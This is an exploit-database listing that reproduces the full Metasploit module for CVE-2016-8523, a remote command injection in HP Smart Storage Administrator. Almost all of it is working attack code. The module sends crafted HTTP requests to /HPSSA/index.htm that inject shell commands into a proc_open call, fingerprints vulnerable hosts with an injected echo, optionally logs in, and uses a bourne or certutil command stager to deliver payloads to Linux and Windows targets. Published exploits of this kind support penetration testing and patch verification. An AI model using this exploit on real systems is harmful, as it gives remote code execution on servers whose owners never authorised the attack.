HP Smart Storage Administrator 2.30.6.0 - Remote Command Injection (Metasploit)



EKU-ID: 6288 CVE: 2016-8523 OSVDB-ID:
Author: Nicolas Mattiocco Published: 2017-02-13 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
 
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Remote::HttpClient
 
  def initialize(info={})
    super(update_info(info,
      'Name'           => "HP Smart Storage Administrator Remote Command Injection",
      'Description'    => %q{
        This module exploits a vulnerability found in HP Smart Storage Administrator. By
        supplying a specially crafted HTTP request, it is possible to control the
        'command' variable in function isDirectFileAccess (found in ipcelmclient.php),
        which will be used in a proc_open() function. Versions prior to HP SSA 2.60.18.0 are vulnerable.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Nicolas Mattiocco (@MaKyOtOx)'  # Discovery & multi-platform Metasploit module
        ],
      'References'     =>
        [
          ['CVE', '2016-8523']
        ],
      'DefaultOptions' =>
        {
          'SSL' => true
        },
      'Platform'       => %w{ linux win },
      'Targets'        =>
        [
          ['Linux', {
            'Platform' => 'linux',
            'Arch' => ARCH_X86,
            'CmdStagerFlavor' => 'bourne'
          }],
          ['Linux (x64)', {
            'Platform' => 'linux',
            'Arch' => ARCH_X86_64,
            'CmdStagerFlavor' => 'bourne'
          }],
          ['Windows', {
            'Platform' => 'win',
            'Arch' => ARCH_X86,
            'CmdStagerFlavor' => 'certutil'
          }],
          ['Windows (x64)', {
            'Platform' => 'win',
            'Arch' => ARCH_X86_64,
            'CmdStagerFlavor' => 'certutil'
          }],
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Jan 30 2017"
    ))
 
    register_options(
      [
        Opt::RPORT(2381),
        # USERNAME/PASS may not be necessary, because the anonymous access is possible
        OptString.new("USERNAME", [false, 'The username to authenticate as']),
        OptString.new("PASSWORD", [false, 'The password to authenticate with'])
      ], self.class)
  end
 
  def check
 
    @cookie = ''
 
    sig = Rex::Text.rand_text_alpha(8)
    cmd = "&echo%20#{sig}&echo"
    res = send_command(cmd, true)
    if not res
      vprint_error("#{peer} - Connection timed out")
      return Exploit::CheckCode::Unknown
    end
 
    if res.code == 200 && res.headers.to_s() =~ /#{sig}/
      return Exploit::CheckCode::Vulnerable
    end
 
    Exploit::CheckCode::Safe
  end
 
 
  def login
    username = datastore['USERNAME']
    password = datastore['PASSWORD']
 
    cookie = ''
 
    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => '/proxy/ssllogin',
      'vars_post' => {
        'redirecturl'         => '',
        'redirectquerystring' => '',
        'user'                => username,
        'password'            => password
      }
    })
 
    if not res
      fail_with(Failure::Unknown, "#{peer} - Connection timed out during login")
    end
 
    # CpqElm-Login: success
    if res.headers['CpqElm-Login'].to_s =~ /success/
      cookie = res.get_cookies.scan(/(Compaq\-HMMD=[\w\-]+)/).flatten[0] || ''
    end
 
    cookie
  end
 
 
  def setup_stager
    execute_cmdstager(:temp => './', :linemax => 2800)
  end
 
 
  def execute_command(cmd, opts={})
    res = send_command(cmd, false)
    if res && res.code != 200
      vprint_error("Unexpected response:\n#{res}")
      fail_with(Failure::Unknown, "There was an unexpected response")
    end
  end
 
 
  def send_command(cmd, check)
    if !datastore['USERNAME'].to_s.empty? && !datastore['PASSWORD'].to_s.empty? && @cookie.empty?
      @cookie = login
      if @cookie.empty?
        fail_with(Failure::NoAccess, "#{peer} - Login failed")
      else
        print_good("#{peer} - Logged in as '#{datastore['USERNAME']}'")
      end
    end
 
    req_opts = {}
 
    # For the check() function, use GET method
    if check
      req_opts['uri'] = "/HPSSA/index.htm#{cmd}"
      req_opts['method'] = "GET"
    else
      req_opts['uri'] = "/HPSSA/index.htm"
      req_opts['method'] = "POST"
      req_opts['vars_post'] = {'msf'=>'red'}
      case target.opts['Platform']
        when "linux" then req_opts['data'] = "\" & #{cmd.gsub(/\.\//,"/tmp/")} & echo \""
        when "win"   then req_opts['data'] = "\" & #{cmd.gsub(/\.\//,"\.\\")} & echo \""
      end
    end
 
    unless @cookie.empty?
      browser_chk = 'HPSMH-browser-check=done for this session'
      curl_loc    = "curlocation-#{datastore['USERNAME']}="
      req_opts['cookie'] = "#{@cookie}; #{browser_chk}; #{curl_loc}"
    end
 
    send_request_cgi(req_opts)
  end
 
  def exploit
    @cookie = ''
 
    setup_stager
  end
end